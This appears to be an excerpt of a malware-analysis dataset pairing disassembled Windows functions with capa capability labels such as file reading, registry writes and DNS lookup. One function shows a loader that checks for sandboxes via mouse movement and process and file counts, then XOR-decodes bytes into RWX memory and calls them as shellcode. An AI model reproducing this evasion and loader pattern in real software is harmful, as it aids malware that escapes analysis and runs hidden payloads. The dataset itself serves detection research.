joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006b2b0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
test rcx, rcx
je 0x14006b3db
cmp qword [rcx + 0x38], 0
je 0x14006b3db
cmp qword [rcx + 0x28], 0
je 0x14006b3db
cmp qword [rcx + 0x30], 0
je 0x14006b3db
mov qword [rsp + 0x40], rsi
add rcx, 0x40
mov qword [rsp + 0x48], rdi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor edi, edi
xor r9d, r9d
xor r8d, r8d
mov qword [rbx + 0x70], rdi
xor edx, edx
mov qword [rbx + 0x78], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x68], rax
test rax, rax
je 0x14006b388
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x70], rax
test rax, rax
je 0x14006b388
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x78], rax
test rax, rax
je 0x14006b388
mov qword [rsp + 0x28], rdi
lea r8, [0x14006b3f0]
mov r9, rbx
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x80], rax
test rax, rax
je 0x14006b388
mov rsi, qword [rsp + 0x40]
xor eax, eax
mov rdi, qword [rsp + 0x48]
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbx + 0x40]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov rcx, qword [rbx + 0x68]
test rcx, rcx
je 0x14006b3a9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x70]
test rcx, rcx
je 0x14006b3b8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x78]
test rcx, rcx
je 0x14006b3c7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x40]
neg edi
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x30
pop rbx
ret
mov eax, 0xffffffa9
add rsp, 0x30
pop rbx
ret
Function at 0x14006c2b0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x168
mov rax, qword [0x1400d1608]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor r12d, r12d
mov r14, r9
mov edi, r12d
mov r15, r8
mov rbp, rdx
mov rsi, rcx
mov ebx, 0x40000
mov r13d, 0x20000
cmp dword [rsi + 0xec], r12d
jne 0x14006c4d1
mov rcx, qword [rsi + 0x60]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x48]
xor edx, edx
call fcn.14004bb20
cmp eax, 0xfffffff4
je 0x14006c3d6
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x14006c3d6
test eax, eax
js 0x14006c4b8
cmp r8d, r13d
cmovg r8d, r13d
movsxd rax, r8d
add rax, rdi
mov dword [rsp + 0x40], r8d
cmp rax, rbp
jle 0x14006c356
mov r8d, ebp
sub r8d, edi
mov dword [rsp + 0x40], r8d
mov rdx, qword [rsp + 0x48]
lea r9, [rsp + 0x44]
mov rcx, r15
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14006c385
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x26
je 0x14006c429
neg eax
jmp 0x14006c389
mov eax, dword [rsp + 0x44]
test eax, eax
js 0x14006c4d6
mov rcx, qword [rsi + 0x60]
movsxd rdx, eax
call fcn.14004a220
test eax, eax
js 0x14006c49f
cdqe
add rdi, rax
cmp rdi, rbx
jle 0x14006c416
lea rcx, [rsi + 0x90]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [rsi + 0x90]
mov qword [rsi + 0x70], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rbx, [rdi + 0x40000]
jmp 0x14006c416
xor r8d, r8d
mov dword [rsp + 0x20], r12d
lea rdx, [rsi + 0xc0]
mov r9d, 0xffffffff
lea ecx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
test eax, eax
je 0x14006c409
call qword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
js 0x14006c4d6
jmp 0x14006c416
cmp dword [rsi + 0xec], r12d
jne 0x14006c4d1
cmp rdi, rbp
jl 0x14006c2f3
mov qword [r14], rdi
xor eax, eax
jmp 0x14006c4d6
cmp rdi, rbp
jge 0x14006c41f
mov r9, rdi
mov qword [rsp + 0x20], rbp
lea r8, str.read_underrun__I64u__I64u
mov edx, 0x100
lea rcx, [rsp + 0x50]
call fcn.140044c10
mov r10, qword [rsi + 0x18]
test r10, r10
je 0x14006c498
mov r8, qword [rsi + 0x80]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], r8
lea rdx, [rsi + 0x100]
mov r8, qword [rsi + 0x78]
mov r9d, 0xffffffda
mov qword [rsp + 0x30], r8
mov r8, qword [rsi + 0x68]
mov qword [rsp + 0x28], r8
mov r8d, dword [rsi + 0x88]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsi + 0x58]
call r10
mov eax, 0xffffffda
jmp 0x14006c4d6
mov r8d, eax
lea rdx, str.SEQ_Acquired
mov rcx, rsi
call fcn.14006e810
mov eax, 0xffffff93
jmp 0x14006c4d6
mov r8d, eax
lea rdx, str.SEQ_Poke
mov rcx, rsi
call fcn.14006e810
mov eax, 0xffffff93
jmp 0x14006c4d6
mov eax, 0xfffffc1d
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14006f1f0
add rsp, 0x168
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14006d270
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
sub rsp, 0xa70
mov rax, qword [0x1400d1608]
xor rax, rsp
mov qword [rsp + 0xa60], rax
mov r14, rdx
mov rdi, rcx
lea rdx, [rsp + 0x260]
add rcx, 0x100
mov r8d, 0x400
call fcn.14004fdf0
mov ebx, eax
test eax, eax
jns 0x14006d33e
mov ecx, eax
lea rdx, [rsp + 0x160]
neg ecx
mov r8d, 0x100
call fcn.140044d90
mov r9, rax
lea r8, [0x1400d0e08]
mov edx, 0x100
lea rcx, [rsp + 0x60]
call fcn.140044c10
mov r10, qword [rdi + 0x18]
test r10, r10
je 0x14006d4fd
mov rax, qword [rdi + 0x80]
lea rdx, [rdi + 0x100]
mov r8d, dword [rdi + 0x88]
mov r9d, ebx
mov rcx, qword [rdi + 0x58]
mov qword [rsp + 0x38], rax
mov rax, qword [rdi + 0x78]
mov qword [rsp + 0x30], rax
mov rax, qword [rdi + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call r10
jmp 0x14006d4fd
mov qword [rsp + 0xaa0], rsi
xor esi, esi
test ebx, ebx
jle 0x14006d374
dec eax
movsxd rcx, eax
add rcx, rcx
cmp word [rsp + rcx + 0x260], 0x5c
jne 0x14006d374
cmp rcx, 0x800
jae 0x14006d523
mov word [rsp + rcx + 0x260], si
xor edx, edx
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14006d42a
call qword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
cmp eax, 0xffffff49
je 0x14006d42a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x160]
mov ebx, eax
neg ebx
mov ecx, ebx
neg ecx
call fcn.140044d90
lea r8, str.CreateDirectory:__s
mov r9, rax
lea rcx, [rsp + 0x60]
mov edx, 0x100
call fcn.140044c10
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x14006d4f5
mov rcx, qword [rdi + 0x80]
lea rdx, [rdi + 0x100]
mov r8d, dword [rdi + 0x88]
mov r9d, ebx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdi + 0x78]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rdi + 0x68]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rdi + 0x58]
call rax
jmp 0x14006d4f5
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x2000000
lea rcx, [rsp + 0x260]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14006d48f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x160]
mov ebx, eax
neg ebx
mov ecx, ebx
neg ecx
call fcn.140044d90
lea r8, [0x1400d0e38]
jmp 0x14006d3c7
movups xmm0, xmmword [r14]
lea rcx, [rdi + 0x90]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc qword [rdi + 0x80]
lea rcx, [rdi + 0x90]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rdx, r14
mov rcx, rdi
call fcn.14006c8e0
xor r9d, r9d
lea r8, [rsp + 0x40]
mov rdx, rsi
mov rcx, rdi
mov ebx, eax
call fcn.14006e5c0
test eax, eax
jns 0x14006d4ec
test ebx, ebx
cmovns ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xaa0]
mov eax, ebx
mov rcx, qword [rsp + 0xa60]
xor rcx, rsp
call fcn.14006f1f0
mov rbx, qword [rsp + 0xaa8]
add rsp, 0xa70
pop r14
pop rdi
pop rbp
ret
call fcn.14006ef6c
int3
Function at 0x14006ecc0
Capabilities:
Resolve dns

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x14006ecf6
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x14006eced
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
add rsp, 0x20
pop rbx
ret

Function at 0x14007f598
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14007f42b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007f42b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007f42b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007f42b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007f42b
cmp dword [rcx + 0x84], 0xe
jbe 0x14007f42b
cmp dword [rcx + 0xf8], 0
je 0x14007f42b
mov ecx, ebx
call fcn.14007f4cc
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14007f2bc
cmp dword [rbp + 0x20], 0
je 0x14007f478
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14007f480
int3
xor r8d, r8d
xor edx, edx
jmp 0x14007f3c4

Function at 0x14008f2fc
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14008f31c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140073228
or eax, 0xffffffff
jmp 0x14008f31e
xor eax, eax
add rsp, 0x28
ret

Function at 0x14008fb2c
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x14008fb4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140073228
or eax, 0xffffffff
jmp 0x14008fb4e
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001020
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1048
call fcn.140001410
sub rsp, rax
mov rax, qword [0x14001b008]
xor rax, rsp
mov qword [rsp + 0x1030], rax
lea r8, [rsp + 0x20]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call sub.KERNEL32.dll_K32EnumProcesses
mov eax, dword [rsp + 0x20]
xor edx, edx
mov ecx, 4
div rcx
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140001470
add rsp, 0x1048
ret

Function at 0x1400010c0
Capabilities:
Check for unmoving mouse cursor

Disassembly:
sub rsp, 0x38
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
xor eax, eax
cmp eax, 1
je 0x140001104
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x28], eax
jne 0x140001100
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x2c], eax
je 0x140001102
jmp 0x140001104
jmp 0x1400010cf
add rsp, 0x38
ret

Function at 0x140001110
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub rsp, 0x1c8
mov rax, qword [0x14001b008]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140011560]
call sub.SHELL32.dll_SHGetKnownFolderPath
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x58]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x44]
mov rcx, rax
call fcn.140001378
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x58]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, [0x140011384]
mov rcx, qword [rsp + 0x48]
call fcn.1400054d0
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140001208
xor eax, eax
jmp 0x14000123d
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001210
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140001470
add rsp, 0x1c8
ret
Function at 0x140001260
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
sub rsp, 0x218
mov rax, qword [0x14001b008]
xor rax, rsp
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x30]
lea rcx, [0x140011390]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1cd
rep movsb byte [rdi], byte [rsi]
call fcn.140001000
cmp eax, 2
jae 0x1400012a6
xor eax, eax
jmp 0x140001356
call fcn.140001020
cmp eax, 0x32
jae 0x1400012b7
xor eax, eax
jmp 0x140001356
call fcn.140001080
cmp rax, 0xffffffffffffffff
je 0x1400012c9
xor eax, eax
jmp 0x140001356
call fcn.140001110
cmp eax, 0x14
jae 0x1400012d7
xor eax, eax
jmp 0x140001356
call fcn.1400010c0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
mov r8d, 0x1cd
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call fcn.1400023a0
mov dword [rsp + 0x20], 0
jmp 0x140001323
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x1cd
jae 0x140001350
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, byte [rcx + rax]
xor eax, 0x26
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov byte [rdx + rcx], al
jmp 0x140001319
call qword [rsp + 0x28]
xor eax, eax
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.140001470
add rsp, 0x218
pop rdi
pop rsi
ret

Function at 0x140001ea8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ef2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ef2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ef2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ef2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ef2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ef4
xor al, al
add rsp, 0x28
ret

Function at 0x140006344
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006140
Function at 0x14000948c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400094bc
xor eax, eax
jmp 0x14000957f
mov rbp, rbx
cmp word [rax], si
je 0x1400094e1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400094c8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400094c4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400093ac
movsxd r14, eax
test eax, eax
jne 0x14000951f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400094b5
mov rcx, r14
call fcn.14000a368
mov rdi, rax
test rax, rax
jne 0x140009538
xor ecx, ecx
call fcn.140007a0c
jmp 0x140009514
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400093ac
test eax, eax
jne 0x140009569
mov rcx, rdi
call fcn.140007a0c
jmp 0x140009573
xor ecx, ecx
call fcn.140007a0c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c9f0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000847c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000ca7a
cmp byte [rbp - 0x21], r15b
je 0x14000ca75
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000cab0
call fcn.14000ab78
test eax, eax
jne 0x14000ca9c
cmp byte [rbp - 0x21], r15b
je 0x14000ca94
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000cab0
cmp byte [rbp - 0x21], r15b
je 0x14000caad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140007a5c
test eax, eax
jne 0x14000cb50
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000847c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000caef
cmp byte [rbp - 0x21], r15b
je 0x14000cb24
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000cb24
call fcn.14000ab78
test eax, eax
jne 0x14000cb10
cmp byte [rbp - 0x21], r15b
je 0x14000cb09
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000cb24
cmp byte [rbp - 0x21], r15b
je 0x14000cb21
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140007a5c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000cb50
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000cb53
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000cb61
mov rcx, rdi
call fcn.140007a0c
cmp byte [rbp + 0x3f], r15b
je 0x14000cb70
mov rcx, qword [rbp + 0x27]
call fcn.140007a0c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001cd8
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
push rdi
push r12
push r13
sub rsp, 0x80
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov r13, r9
mov r12, r8
mov rdi, rdx
mov qword [rax - 0x60], 0xffffffff80000001
lea rdx, [rax - 0x60]
lea rcx, [rax - 0x50]
call fcn.140003f14
nop
mov dword [rsp + 0x50], 0x2001f
call fcn.140004730
mov rdx, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x140001d42
mov ecx, 0x80004005
call fcn.1400016c4
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov r8d, dword [rsp + 0xc0]
lea rdx, [0x14002f288]
lea rcx, [rsp + 0x30]
call fcn.140003d20
mov r9b, 1
mov r8, qword [r12]
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.140003f70
test eax, eax
je 0x140001dd5
xor eax, eax
or rcx, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea eax, [rcx + rcx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
mov rdx, qword [r13]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001dda
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x58], 0
jmp 0x140001dda
mov rbx, qword [rsp + 0x30]
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140001df6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rax, vtable.CRegistry.0
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001e18
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x58], 0
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140001e39
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [r12]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140001e59
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [r13]
sub rdx, 0x18
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x140001e78
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, 1
jmp 0x140001ece
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop r13
pop r12
pop rdi
ret

Function at 0x1400021b4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rdx, rcx
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
cmp rcx, 1
je 0x1400021ef
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400021ed
mov al, 1
jmp 0x1400021ef
xor al, al
add rsp, 0x30
pop rdi
ret
Function at 0x140003e48
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0xa0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov rsi, r8
mov rbp, rdx
mov edi, ecx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rbx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
xor r9d, r9d
mov r8, rbx
xor edx, edx
call fcn.140006dbc
test eax, eax
jne 0x140003ea8
lea rcx, str.Fatal_Error:_MFC_initialization_failed_n
call fcn.140016598
mov ebx, 1
jmp 0x140003ef7
cmp edi, 6
jae 0x140003eb1
xor eax, eax
jmp 0x140003ef9
mov r9, rsi
mov r8, rbp
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.140001ee4
nop
lea rcx, [rsp + 0x30]
call fcn.140002c78
xor ecx, ecx
lea ebx, [rcx + 1]
cmp eax, ebx
sete cl
mov ebx, ecx
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x140003eed
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, [rsp + 0x30]
call fcn.140002080
mov eax, ebx
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x14000db50
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14000c714
mov rsi, rax
test rax, rax
je 0x14000dbcc
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14000dbc7
cmp dword [rbx], 0x40
jb 0x14000dbc7
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
